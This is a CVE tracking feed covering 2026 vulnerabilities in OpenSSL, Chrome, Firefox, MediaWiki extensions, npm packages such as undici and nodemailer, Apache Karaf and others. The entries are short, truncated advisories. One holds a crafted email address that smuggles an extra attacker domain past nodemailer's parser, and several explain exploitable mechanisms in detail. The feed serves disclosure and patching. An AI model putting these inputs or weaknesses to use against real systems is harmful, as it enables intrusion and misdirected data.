CVE-2026-54875	New	3.7	LOW				Issue summary: A non-constant-time optimized implementation of scalar point multiplication is used for SM2 private key operations on ARM64 and RISC-V platforms. Impact summary: An attacker able to measure the time taken by, or to observe the cache-line access pattern of SM2 signing or decryption on an affected platform can learn information about the secret scalar. CWE: CW...
CVE-2026-77696	New	3.7	LOW				Issue summary: SM2 signature generation uses non-constant-time arithmetic on secret values, forming a timing side-channel. Impact summary: An attacker able to measure SM2 signing times may learn information about the per-signature secret nonce, which over many signatures can, via a lattice / Hidden Number Problem attack, lead to recovery of the private key. CWE: CWE-208: O...
CVE-2026-102601	New	3.5	LOW			composer:league/flysystem	Flysystem is an open source file storage library for PHP. Prior to 3.35.3, the default WhitespacePathNormalizer in src/WhitespacePathNormalizer.php used by Filesystem across adapters calls preg_match with the u modifier and treats both false and 0 as falsy. A path containing malformed UTF-8 causes PCRE to return false, so paths that also contain control characters bypass Cor...
CVE-2026-102311	New	3.4	LOW				Uninitialized resource in GPU in Google Chrome on on Android prior to 154.0.8037.92 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102315	New	3.4	LOW				Uninitialized resource in Media in Google Chrome on on Windows prior to 154.0.8037.92 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102319	New	3.4	LOW				Uninitialized resource in GPU in Google Chrome prior to 154.0.8037.92 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95308	New	3.4	LOW				Integer overflow in Metrics in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to potentially read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Low)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95324	New	3.4	LOW				Uninitialized resource in GPU in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95359	New	3.4	LOW				Uninitialized resource in GPU in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-102620	New	3.3	LOW				A vulnerability was determined in Freedesktop Poppler 26.06.0/26.07.0/26.08.0. This impacts the function FoFiTrueType::cvtSfnts of the file fofi/FoFiTrueType.cc. This manipulation causes integer overflow. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized. Patch name: 245d3c6823377755f2c1d5fddddd010279c6ed94d. It is suggested ...
CVE-2026-102621	New	3.3	LOW				A vulnerability was identified in Freedesktop Poppler up to 26.08.0. Affected is the function SplashClip::clipToPath of the file splash/SplashClip.cc. Such manipulation leads to integer overflow. The attack can only be performed from a local environment. The exploit is publicly available and might be used. Upgrading to version 26.09.0 is able to address this issue. The name ...
CVE-2026-76736	New	3.3	LOW				A buffer overflow vulnerability exists in the underlying operating system of HPE Networking Instant On. Successful exploitation could allow a low-privilege authenticated local attacker to interrupt the normal operation of the affected service.
CVE-2026-95312	New	3.1	LOW				Information leak in Passwords in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95317	New	3.1	LOW				Incorrect authorization in MediaCapture in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to obtain cross-origin data via a crafted Chrome extension. (Chromium security severity: Medium)
CVE-2026-73593	New	3.0	LOW				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Active Debug Code vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Information disclosure, Information tampering, Protection mechanism bypass, and Unauthorized access.
CVE-2026-76737	New	3.0	LOW				An authenticated path traversal vulnerability exists in the command line interface of HPE Networking Instant On. Successful exploitation could allow an attacker with administrative access to modify a limited set of files on the underlying operating system and to interrupt the normal operation of the affected service.
CVE-2026-95302	New	2.9	LOW				Incorrect authorization in WebAPKs in Google Chrome on on Android prior to 154.0.8037.57 allowed a local attacker to obtain cross-origin data via a co-installed app. (Chromium security severity: Medium)
CVE-2026-95316	New	2.9	LOW				Unchecked return value in Performance in Google Chrome prior to 154.0.8037.57 allowed a local attacker to potentially read memory via a local program. (Chromium security severity: Low)
CVE-2026-101267	New	2.7	LOW				A missing permission check allowed low-privileged users with access to an event but without access to the event's orders to extract some specific information. This information includes the number of attendees and the total revenue.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102844	New	2.7	LOW				A weakness has been identified in gedelumbung HospitalManagement up to c2d45543789a3887067d3915f69d44cfc2cf76a8. This vulnerability affects the function detail of the file application/modules/admin/controllers/laporan_data_pasien.php. Executing a manipulation of the argument id_param can lead to authorization bypass. The attack can be launched remotely. The exploit has been ...
CVE-2026-76738	New	2.7	LOW				A buffer overflow vulnerability exists in the API endpoint of HPE Networking Instant On that could allow an authenticated attacker with administrative privileges to cause a denial of service. Successful exploitation could allow an attacker to interrupt the normal operation of the affected service, which recovers without manual intervention.
CVE-2026-101269	New	2.3	LOW				The mechanism binding API-uploaded files to the uploader's authentication method is not working correctly and the same session token is used for all token-based API users. Since API-uploaded files are referred to by randomly generated UUIDs and only exist for a day, there is virtually no risk, but it renders the added protection mechanism useless.
CVE-2026-97711	New	2.3	LOW				Serialize JavaScript serializes JavaScript values to a superset of JSON that includes regular expressions and functions. From 7.1.1 until 7.1.2, function values serialized by serialize-javascript are not fully protected against script-closing tags in attacker-influenced function source because SCRIPT_CLOSE_REGEXP can consume a second closing tag inside one match. When the se...
CVE-2026-101270	New	2.1	LOW				Malicious HTML content could be injected into the help texts of various fields with organizer permissions.
CVE-2026-101271	New	2.1	LOW				OAuth credentials (access tokens) are valid for the entirety of their lifetime, even if the application (OAuth client) they are bound to is manually disabled.
CVE-2026-102292	New	2.1	LOW		0.003		A flaw has been found in coolbeans1212 MateisHomePage-Website up to ea2a4226deeca27ab1fb9df0552ec76444547811. Affected by this issue is some unknown functionality of the file users.php. This manipulation of the argument Search causes cross site scripting. The attack can be initiated remotely. The exploit has been published and may be used. Continuous delivery with rolling re...
CVE-2026-51936	New	2.1	LOW				Zetetic SQLCipher before 4.15.0 allows SQL injection. The sqlcipher_export convenience function can be used to copy the contents of one attached database into another. It is most often used to convert between plaintext and encrypted databases. It needs to do dynamic schema manipulation, and thus the function temporarily clears defensive restrictions during operation. A vulne...
CVE-2026-69662	New	2.1	LOW				The application uses unsafe functions that allow execution of inline scripts and string evaluation functions.
CVE-2026-101268	New	1.7	LOW				If an attacker is able to convince a victim on a specially crafted link, the victim is logged in to the attacker's customer account. If the victim does not notice this, this might lead to their order details being stored into the attacker's account. The attack only works when the event is available on a different domain than the organizer page.
CVE-2026-101266	New	1.3	LOW				A logic flaw in the checkout flow allows users to bypass validations performed during the check-in by skipping entire check-in steps.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2024-29180	New		HIGH		0.012	npm:webpack-dev-middleware	> [!IMPORTANT] > CVE-2026-76844 was assigned and published for this issue by VulnCheck on 2026-08-24 without prior coordination with the webpack maintainers or the OpenJS Foundation, which holds the CVE Numbering Authority scope for webpack projects. Neither the maintainers nor the OpenJS CNA were notified before publication, and no fix was available at that time. This advis...
CVE-2024-31026	New						An issue in Greek Universities Network (GUnet) Open eClass Platform v.3.15 allows a remote attacker to execute arbitrary code via the chat input field in the course module.
CVE-2024-31027	New						Cross Site Scripting vulnerability in Greek Universities Network (GUnet) Open eClass Platform v.3.15 allows a remote attacker to execute arbitrary code via the last name, first name, and username parameters in the user registration functionality.
CVE-2026-100238	New						Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation Mediawiki - Flow Extension allows Stored XSS. This issue affects Mediawiki - Flow Extension: from * before 1.46.1, 1.45.5, 1.43.10.
CVE-2026-100240	New						Missing Authorization vulnerability in Wikimedia Foundation Mediawiki - TemplateSandbox Extension allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Mediawiki - TemplateSandbox Extension: from * before 1.46.1, 1.45.5, 1.43.10.
CVE-2026-100241	New						Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation Mediawiki - EventBus Extension allows Excavation. This issue affects Mediawiki - EventBus Extension: 1.47.0-alpha.
CVE-2026-100242	New						Dependency on Vulnerable Third-Party Component and Uncontrolled Resource Consumption vulnerability in Wikimedia Foundation Mediawiki - DataTransfer Extension allows Excessive Allocation. This issue affects Mediawiki - DataTransfer Extension: from 1.46.0 before 1.47.0.
CVE-2026-100243	New						Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation Mediawiki - WikiSEO Extension allows Stored XSS. This issue affects Mediawiki - WikiSEO Extension: from * before 1.46.1, 1.45.5, 1.43.10.
CVE-2026-100244	New						Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation Mediawiki - CentralAuth Extension allows Excavation. This issue affects Mediawiki - CentralAuth Extension: from * before 1.46.1, 1.45.5, 1.43.10.
CVE-2026-100245	New						Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation Mediawiki - Wikibase Extension allows Stored XSS. This issue affects Mediawiki - Wikibase Extension: from * before 1.46.1, 1.45.5, 1.43.10.
CVE-2026-100288	New						Cleartext storage of sensitive information in the database in Devolutions Server 2026.3.5.0 and earlier allows an attacker with read access to the database to obtain external identity provider tokens and active session identifiers via direct inspection of stored records.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-100699	New		MODE		0.002	npm:nodemailer	## Summary Nodemailer's address parser can produce an unexpected recipient address when an RFC 5322 comment follows the domain of an address whose local-part is a quoted string. For example: ``text "user"@example.com(x)evil.com `` is parsed as: ``text { address: "user@example.com evil.com", name: "" } `` The resulting address therefore contains additional attac...
CVE-2026-100700	New		HIGH		0.003	npm:nodemailer	### Summary When `addressparser` finds no address by its strict reading, it falls back to pulling one out of the free text with `\\s*\\b[^(\\s @ \\[\\s + @ \\[\\s + \\b\\s*/`. That pattern backtracks quadratically: `[^(\\s @ \\[\\s + @ \\[\\s + \\b\\s*/` is retried from every offset and rescans the run to the next `@` each time. A single header value holding a long whitespace-free run with no usable `@` blocks the Node.j...
CVE-2026-100702	New		MODE		0.003	npm:nodemailer	## Submission metadata Field Value --- Ecosystem npm Package `nodemailer` Repository https://github.com/nodemailer/nodemailer Tested commit `40d52215aac65b811d7e131bc916f68605efd9d2` Current tested version `10.0.1` Confirmed vulnerable versions `2.7.2`, `3.0.0`, `7.0.11`, `9.1.1`, `10.0.1` Proposed affected range `>= 2.7.2...
CVE-2026-100756	New						Incorrect boundary conditions in the Audio/Video: Playback component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100758	New						Sandbox escape in the DOM: Navigation component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100759	New						Uninitialized memory in the Storage: Quota Manager component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100760	New						Sandbox escape in the Security: Process Sandboxing component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100763	New						Incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 157.
CVE-2026-100771	New						Undefined behavior in the DOM: Streams component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100775	New						Sandbox escape in the Graphics component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100781	New						Sandbox escape due to incorrect boundary conditions in the Graphics: WebRender component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100787	New						Sandbox escape in the XUL component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100788	New						Invalid pointer in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, and Firefox ESR 140.17.
CVE-2026-100792	New						JIT miscompilation in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, and Firefox ESR 140.17.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-100793	New						JIT miscompilation in the JavaScript Engine component. This vulnerability was fixed in Firefox 157.
CVE-2026-100794	New						Sandbox escape due to incorrect boundary conditions in the Internationalization component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, and Firefox ESR 140.17.
CVE-2026-100798	New						Cryptography misuse in Storage: Quota Manager component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100803	New						Same-origin policy bypass in the WebExtensions component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100808	New						Mitigation bypass in the DOM: Service Workers component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100809	New						Same-origin policy bypass in the DevTools component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100810	New						Other issue in the DevTools component. This vulnerability was fixed in Firefox 157.
CVE-2026-100816	New						Site isolation issue in the DOM: Networking component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100817	New						Other issue in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 157.
CVE-2026-100821	New						Site isolation issue in the Panning and Zooming component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100822	New						Spoofing issue in the Networking: HTTP component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100823	New						Spoofing issue in the Downloads component in Firefox for Android. This vulnerability was fixed in Firefox 157.
CVE-2026-100828	New						Mitigation bypass in the Bookmarks & History component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100829	New						Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100830	New						Mitigation bypass in the DOM: Navigation component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-102282	New		HIGH			npm:adm-zip	## Summary adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When...
CVE-2026-102310	New						Missing authorization in Payments in Google Chrome prior to 154.0.8037.92 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102312	New						UI misrepresentation in Omnibox in Google Chrome on on Android prior to 154.0.8037.92 allowed a remote attacker to spoof address bar via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102320	New						Missing authorization in CORS in Google Chrome prior to 154.0.8037.92 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-102329	New						Cross-site scripting in WebUI in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to bypass web origin policy into a privileged page via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102330	New						Incorrect authorization in Sitelsolation in Google Chrome prior to 154.0.8037.92 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-102599	New		HIGH			npm:engine.io	### Impact A denial-of-service vulnerability exists in Engine.IO / Socket.IO servers that allow transport upgrades. The Engine.IO protocol revision is negotiated during the initial handshake and stored on the session, but a newly-created transport, including a WebSocket upgrade transport, could independently derive a different protocol revision from the upgrade request que...
CVE-2026-102672	New		MODE			npm:electron	### Impact On macOS, Electron bundles the Squirrel.Mac auto-update framework, whose privileged `Shiplt` helper performs the final step of an update as root. A local attacker could cause that helper to overwrite a different application's files, as root, instead of the app that started the update. Exploitation requires local access to the machine. Apps are only affected on m...
CVE-2026-102728	New						Two client-side TLS/DTLS handshake parsers in NetX Secure read fields from a server-supplied message before validating that the message is long enough to contain them. Both are bounded out-of-bounds reads on a remotely reachable path, both are reached from a TLS or DTLS client connecting to a malicious or malformed server, and both have the same shape: the bounds check exist...
CVE-2026-102758	New						The `_nx_secure_x509_asn1_tlv_block_parse()` function parses ASN.1 TLV (tag-length-value) blocks out of DER-encoded data. It is the primitive underneath all X.509 certificate parsing in NetX Secure, and therefore runs on certificates supplied by a remote peer during the TLS handshake. The function reads the one-byte ASN.1 tag from the caller's buffer *before* checking tha...
CVE-2026-102796	New						Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Wikimedia Foundation Mediawiki - UserPageViewTracker Extension allows SQL Injection. This issue affects Mediawiki - UserPageViewTracker Extension: from * before 1.46.1, 1.45.5, 1.43.10.
CVE-2026-103044	New						XML injection (aka blind XPath injection) vulnerability in The Wikimedia Foundation Mediawiki - EasyTimeline extension allows XML Injection. This issue affects Mediawiki - EasyTimeline extension: before 1.46.1, 1.45.5, 1.43.10.
CVE-2026-103045	New						Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in The Wikimedia Foundation Mediawiki - Refreshed skin allows Stored XSS. This issue affects Mediawiki - Refreshed skin: before 1.46.1, 1.45.5, 1.43.10.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-103046	New						Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Wikimedia Foundation MediaWiki - WikiLambda extension allows Stored XSS. This issue affects MediaWiki - WikiLambda extension: before 1.46.1.
CVE-2026-103047	New						Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in The Wikimedia Foundation Mediawiki - CentralAuth extension allows Stored XSS. This issue affects Mediawiki - CentralAuth extension: before 1.46.1, 1.45.5, 1.43.10.
CVE-2026-103048	New						URL redirection to untrusted site ('open redirect') vulnerability in The Wikimedia Foundation Mediawiki - Collection extension allows Fake the Source of Data. This issue affects Mediawiki - Collection extension: before 1.46.1, 1.45.5, 1.43.10.
CVE-2026-103049	New						Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in The Wikimedia Foundation Mediawiki - Cargo extension allows Reflected XSS. This issue affects Mediawiki - Cargo extension: before 1.46.1.
CVE-2026-103050	New						Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in The Wikimedia Foundation Mediawiki - MassMessage extension allows Stored XSS. This issue affects Mediawiki - MassMessage extension: before 1.46.1, 1.45.5, 1.43.10.
CVE-2026-103051	New						Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in The Wikimedia Foundation Mediawiki - CentralNotice extension allows Stored XSS. This issue affects Mediawiki - CentralNotice extension: before 1.46.1, 1.45.5, 1.43.10.
CVE-2026-11415	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-15278	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-17495	New		MODE		0.004	npm:moment	### Impact moment before 2.31.0 is vulnerable to path traversal in `moment.locale()`. When an application passes a non-string, attacker-influenced value to `moment.locale()`, a specially crafted object can bypass the locale name validation and cause moment to load a file from an attacker-controlled path. This is a further bypass of the validation added in 2.29.2 for [CVE-20...
CVE-2026-18149	New		MODE		0.004	npm:undici	### Impact undici's `RetryHandler` can leave a response body pending indefinitely. When a retried request receives a non-retryable response after a truncated one, the original `response.body` held by the application is never settled, so reads such as `response.body.text()` hang and `bodyTimeout` does not fire. A malicious server can repeat this to accumulate pending promise...
CVE-2026-18540	New		LOW		0.002	npm:undici	### Impact Undici's `interceptors.retry()` can resume a request after a partial response and append the resumed bytes to an already partially delivered body, while the application still receives the original response's status and headers. When that response carried a `Content-Length`, the application can receive a longer body. Applications that forward Undici's status, head...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-19534	New		HIGH		0.004	npm:undici	### Impact The undici WebSocket client throws an uncaught `TypeError` during the opening handshake when a server's `101` response includes a `Sec-WebSocket-Protocol` header that the client never requested. The throw occurs in a `queueMicrotask` callback with no surrounding `try`/`catch`, so it propagates as an uncaught exception and terminates the Node.js process. This is a...
CVE-2026-35189	New						Issue summary: A certificate with many nameRelativeToCRLIssuer CRL distribution points causes disproportionate heap growth when OpenSSL caches X.509 extensions. Impact summary: Receiving a crafted certificate from a malicious peer can lead to significant memory pressure and possible Denial of Service in clients or in servers that solicit client certificates. CWE: CWE-770: ...
CVE-2026-35191	New						Issue summary: The OpenSSL QUIC server, when configured to not preform address validation, can be forced to count incoming packets multiple times in its unvalidated credit computation, leading to a violation of the RFC 9000 unvalidated connection amplification limit of 3 times the amount of data received. Impact summary: A remote attacker able to spoof packets to a server u...
CVE-2026-42772	New						Issue summary: The QUIC stream reassembly algorithm performance deteriorates progressively as packets are arriving out of order. The worst case has a quadratic complexity proportional to the number of stream frames kept in the buffer for the received stream data. Impact summary: A remote QUIC peer that completes the handshake can create a connection-scoped CPU pressure and ...
CVE-2026-49264	New		MODE			PyPI:oauthlib	### Summary When `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revoca...
CVE-2026-49265	New		MODE			PyPI:oauthlib	## Summary A timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation of the Authorization Code Grant flow. The `code_challenge_method_plain` function uses Python's standard `==` operator for string comparison instead of a constant-time comparison function, potentially allowing timing-based attacks. ## Affected Component - File: `oauthlib/oauth2/r...
CVE-2026-54873	New						Issue summary: QUIC process may keep memory for QUIC packet buffer for much longer period than necessary. Impact summary: Remote peer can exploit this vulnerability by sending maliciously crafted packets, making the local QUIC stack to keep the memory for packet buffers allocated. The time for which the memory remains allocated is entirely under the control of the potential...
CVE-2026-67987	New						crmne/ruby_llm at commit fa6f279847d6d7027814539d9c0dfc3bbdfd2a83 contains polynomial-time regular expression denial-of-service conditions in think-tag response parsing on Ruby 3.1.x. A malicious or anomalous model response containing many unterminated <think> tags can cause excessive CPU consumption in two consecutive regular expressions and delay chat-completion processing
CVE-2026-67993	New						basecamp/upright at commit efe4f2e5254ac6e57e45d2261804cca74dbbca3f contains a login cross-site request forgery issue in the static credentials callback.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-71899	New						A missing authorization vulnerability exists in the `query-dynamic-sub-workflows` API of Apache DolphinScheduler. The API does not properly verify whether the authenticated user has permission to access the workflows being queried. An authenticated user who does not have permission to access a specific project can invoke the API with parameters referencing workflows belon...
CVE-2026-79403	New						An issue in Kilo Code before v7.4.1 allows a local attacker to execute arbitrary code via the permission/allow-everything endpoint
CVE-2026-79417	New						Improper Access Control in ArgusMonitor.sys in Argotronic eGbr ArgusMonitor 7.4.02 and earlier allows local, low-privileged users to bypass device handle access restrictions via a TOCTOU condition in IRP_MJ_CREATE and send a crafted IOCTL 0x9C4024A8 request, causing denial-of-service.
CVE-2026-79534	New						mark3labs mcp-filesystem-server v0.11.1 is vulnerable to Directory Traversal due to an improper link resolution in validatePath (filesystemserver/handler/helper.go). When filepath.EvalSymlinks returns os.IsNotExist for a dangling symlink, the fallback validates only the parent directory and returns the unresolved path, so write_file (and modify_file, copy_file, move_file, cr...
CVE-2026-79535	New						mbailey VoiceMode <= 8.10.1 is vulnerable to OS Command Injection. The update_config MCP tool (and the "voicemode config set" CLI) writes a caller-supplied value into ~/.voicemode/voicemode.env without shell-safe escaping.
CVE-2026-79536	New						bytebase dbhub v1.2.0 was discovered to contain a SQL injection vulnerability in the /utils/sql-parser.ts component. This vulnerability allows attackers to access sensitive database information via a crafted SQL statement.
CVE-2026-79537	New						metatool-ai MetaMCP through 2.4.22 contains an insecure direct object reference (IDOR) in the MCP transport session dispatch. The session store (getSession in session-lifetime-manager.ts) is keyed only by the client-supplied mcp-session-id header with no owner, namespace, or endpoint binding, and the per-endpoint authorization middleware validates only the URL endpoint's own...
CVE-2026-81869	New		MODE		0.002	Go:go.opentelemetry.io/otel/sdk	### Summary The OpenTelemetry Go SDK trace package can fail to enforce `AttributeValueLengthLimit` for string attributes containing the valid Unicode replacement character U+FFFD. An oversized attacker-controlled attribute value that includes U+FFFD is returned untruncated, bypassing the configured memory/DoS protection and allowing increased per-span memory usage. The find...
CVE-2026-81872	New		MODE		0.005	Go:go.opentelemetry.io/otel/sdk/log	### Summary A `BatchingProcessor` in `go.opentelemetry.io/otel/sdk/log` can enter a tight CPU loop when the asynchronous export buffer is full. Under exporter backpressure, attacker-driven high-volume log emission can keep the queue at or above the batch size, causing repeated immediate export retries and a denial of service through CPU exhaustion. Introduced in commit: 4a...
CVE-2026-84890	New		MODE		0.004	npm:undici	### Impact The `interceptors.decompress()` interceptor decompresses HTTP response bodies according to the untrusted `Content-Encoding` header. The number of decompression layers is capped at 5, but the total decompressed output size is not bounded and there is no option to limit it. A malicious or faulty upstream can return a small compressed payload (a compression bomb) th...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84933	New		MODE		0.003	npm:undici	### Impact undici's `interceptors.cache()` does not handle `Set-Cookie` in the cache path. In shared-cache mode (`type: 'shared'`, the default), a cacheable response (for example `Cache-Control: public, max-age=...`) carrying a `Set-Cookie` header is stored, and the stored `Set-Cookie` is re-served to a later caller that hits the same cache key. This exposes one user's cook...
CVE-2026-84947	New		LOW		0.003	npm:undici	### Impact undici's `interceptors.dump()` reads and discards response bodies up to a configurable `maxSize`. When a response declares a `Content-Length` that exceeds `maxSize`, the request is aborted cleanly. When a response is sent chunked (no `Content-Length`) and its body exceeds `maxSize`, it is not aborted: the interceptor ends the response early once the accumulated s...
CVE-2026-84961	New		HIGH		0.002	npm:undici	### Impact undici's `BalancedPool` passes its constructor options through a JSON-based deep clone (`JSON.parse(JSON.stringify(...))`) before forwarding them to each per-upstream `Pool`. JSON cannot represent functions, so a caller-supplied `connect` or `tls` option containing a `checkServerIdentity` callback (or a custom connector function) is silently dropped before it rea...
CVE-2026-85008	New		LOW		0.002	npm:undici	### Impact undici's `interceptors.cache()` documents that it caches only safe HTTP methods. However, its internal skip-list is built by subtracting the configured methods from the safe-methods set, so an unsafe method (`POST`, `PUT`, `PATCH`, `DELETE`) never lands in the skip-list and is looked up against the cache store. Combined with the storage gate (`canCacheResponse`) ...
CVE-2026-85014	New		MODE		0.005	npm:undici	## Impact undici's `WebSocketStream` crashes the client process when a WebSocket connection is closed abruptly without a close handshake. On such an unclean close, the internal socket-close handler calls `abort()` on the writable stream even when the application holds a writer lock. Per the WHATWG Streams standard, aborting a locked stream returns a promise that rejects wit...
CVE-2026-85152	New		HIGH		0.002	npm:undici	## Impact When `interceptors.cache()` or `interceptors.deduplicate()` is used with a dispatcher that does not carry a single authoritative origin, or when a request supplies its own `origin`, undici builds the cache and deduplication keys without the actual destination origin. If a cache store or interceptor instance is shared across more than one origin, otherwise-identica...
CVE-2026-86472	New		MODE		0.003	npm:fast-uri	### Impact `fast-uri` folds the host to lowercase before it percent-decodes the host, so a percent-encoded uppercase unreserved octet such as `%41` decodes to a literal `A` that is never folded. For a scheme-relative reference (`//host`) there is no scheme, so the host canonicalization that repairs this on a scheme-bearing URL does not run. As a result `parse`, `normalize`,...
CVE-2026-86818	New		MODE		0.003	npm:fast-uri	### Impact `fast-uri`'s `mailto` scheme parser compares each query field name to the reserved names (`to`, `subject`, `body`) while the name is still percent-encoded, and only percent-decodes it when storing it as a generic header. On serialize, the decoded name is re-emitted, so a field name such as `%74o` (percent-encoded `to`) is not recognized as a recipient at parse ti...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-91012	New				0.002		org.apache.karaf.config.core.impl.ConfigRepositoryImpl#update(pid, properties), which backs the "config" MBean and the config:* shell commands, derives the file it writes a configuration to from caller-supplied input without checking that the result stays inside \${karaf.etc}: * if the submitted property map contains a felix.fileinstall.filename entry, that value is turne...
CVE-2026-91048	New				0.002		The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf's command guard (SecuredSessionFactoryImpl) treats a command with no matching ACL rule as allowed, so any authenticated shell session (including one holding only the viewer role) could run every jdbc:* command. jdbc:ds-create stores a fully attacker-controlled JDBC URL into a pax-jdbc-config...
CVE-2026-91085	New				0.002		Apache Karaf's shell/SSH command security is enforced by per-scope ACL configuration files (etc/org.apache.karaf.command.acl.<scope>.cfg). SecuredSessionFactoryImpl.checkSecurity() resolves the roles required for an invocation and, when no ACL rule matches the command, fails open: ACLConfigurationParser.Specificity.NO_MATCH sets passCheck = true. The safety valve for this, k...
CVE-2026-92000	New		HIGH		0.007	npm:adm-zip	**Affected package:** adm-zip (npm) **Affected version:** 0.6.0 ## Summary The fix shipped for CVE-2026-39244 (methods/inflater.js) caps zlib's decompression output via `maxOutputLength: expectedLength`, where `expectedLength` is read directly from the ZIP entry's attacker-controlled "uncompressed size" header field (`CENLEN` / `LOCLEN`). This cap is only applied when `exp...
